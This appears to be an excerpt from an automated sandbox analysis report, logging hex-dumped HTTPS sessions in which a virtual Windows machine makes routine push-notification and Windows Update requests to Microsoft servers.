Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49746	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 34 34 73 57 50 6a 6d 41 30 4f 32 43 4c 42 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 66 38 31 32 33 64 64 35 62 63 64 64 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: m44sWPjmA0O2CLB3.1Context: a28f8123dd5bcdd7
2024-10-01 10:21:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:21:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 34 34 73 57 50 6a 6d 41 30 4f 32 43 4c 42 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 66 38 31 32 33 64 64 35 62 63 64 64 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: m44sWPjmA0O2CLB3.2Context: a28f8123dd5bcdd7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:21:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 34 34 73 57 50 6a 6d 41 30 4f 32 43 4c 42 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 66 38 31 32 33 64 64 35 62 63 64 64 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: m44sWPjmA0O2CLB3.3Context: a28f8123dd5bcdd7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:21:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:21:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 76 36 61 64 68 35 6d 2b 6b 4f 31 49 59 4a 59 4c 59 47 54 77 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Zv6adh5m+kO1IYJYLYGTwA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49751	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvXoxG2xYpKrKZc&MD=2taWzMF2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-01 10:21:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 14d08971-ee3a-4502-99f0-a5e1dd0f59aa MS-RequestId: f88c492e-aade-43f2-a788-37c9ae7ccfa4 MS-CV: JCHSqrusCkqITj+A.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 01 Oct 2024 10:21:15 GMT Connection: close Content-Length: 24490
2024-10-01 10:21:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-01 10:21:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49760	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 4e 7a 45 78 34 55 44 2b 6b 65 4a 47 64 46 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 39 63 35 36 39 30 30 35 35 34 31 31 64 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5NzEx4UD+keJGdFh.1Context: f29c5690055411d7
2024-10-01 10:21:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:21:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 4e 7a 45 78 34 55 44 2b 6b 65 4a 47 64 46 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 39 63 35 36 39 30 30 35 35 34 31 31 64 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5NzEx4UD+keJGdFh.2Context: f29c5690055411d7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:21:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 4e 7a 45 78 34 55 44 2b 6b 65 4a 47 64 46 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 39 63 35 36 39 30 30 35 35 34 31 31 64 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5NzEx4UD+keJGdFh.3Context: f29c5690055411d7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:21:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:21:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 73 36 74 70 4d 44 6a 74 6b 69 70 70 32 51 63 43 67 39 36 43 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ks6tpMDjtkipp2QcCg96Cw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	61045	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:52 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvXoxG2xYpKrKZc&MD=2taWzMF2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-01 10:21:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7a3c6a2a-2898-4927-9a81-7fa279110823 MS-RequestId: 99a0017b-5d3d-4ddc-ad75-a0fc6e2b9455 MS-CV: Rr5JVeCkl0qvAMzB.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 01 Oct 2024 10:21:52 GMT Connection: close Content-Length: 30005
2024-10-01 10:21:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-01 10:21:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	61046	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:22:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 42 41 75 48 57 30 4a 51 30 47 44 74 73 32 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 33 63 31 64 64 30 62 32 61 35 62 61 66 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: iBAuHW0JQ0GDts2d.1Context: 4c3c1dd0b2a5baf0
2024-10-01 10:22:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:22:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 42 41 75 48 57 30 4a 51 30 47 44 74 73 32 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 33 63 31 64 64 30 62 32 61 35 62 61 66 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: iBAuHW0JQ0GDts2d.2Context: 4c3c1dd0b2a5baf0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:22:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 69 42 41 75 48 57 30 4a 51 30 47 44 74 73 32 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 33 63 31 64 64 30 62 32 61 35 62 61 66 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: iBAuHW0JQ0GDts2d.3Context: 4c3c1dd0b2a5baf0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:22:00 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:22:00 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 56 44 4b 72 52 2f 70 76 45 36 34 56 48 56 6a 6c 4b 4b 6c 7a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QVDKrR/pvE64VHVjlKKlzQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	61051	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:22:35 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 71 6a 30 30 50 48 61 6e 6b 43 75 37 65 77 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 62 37 63 64 65 66 31 36 34 37 39 38 33 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gqj00PHankCu7ew3.1Context: e8b7cdef16479830
2024-10-01 10:22:35 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:22:35 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 71 6a 30 30 50 48 61 6e 6b 43 75 37 65 77 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 62 37 63 64 65 66 31 36 34 37 39 38 33 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gqj00PHankCu7ew3.2Context: e8b7cdef16479830<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
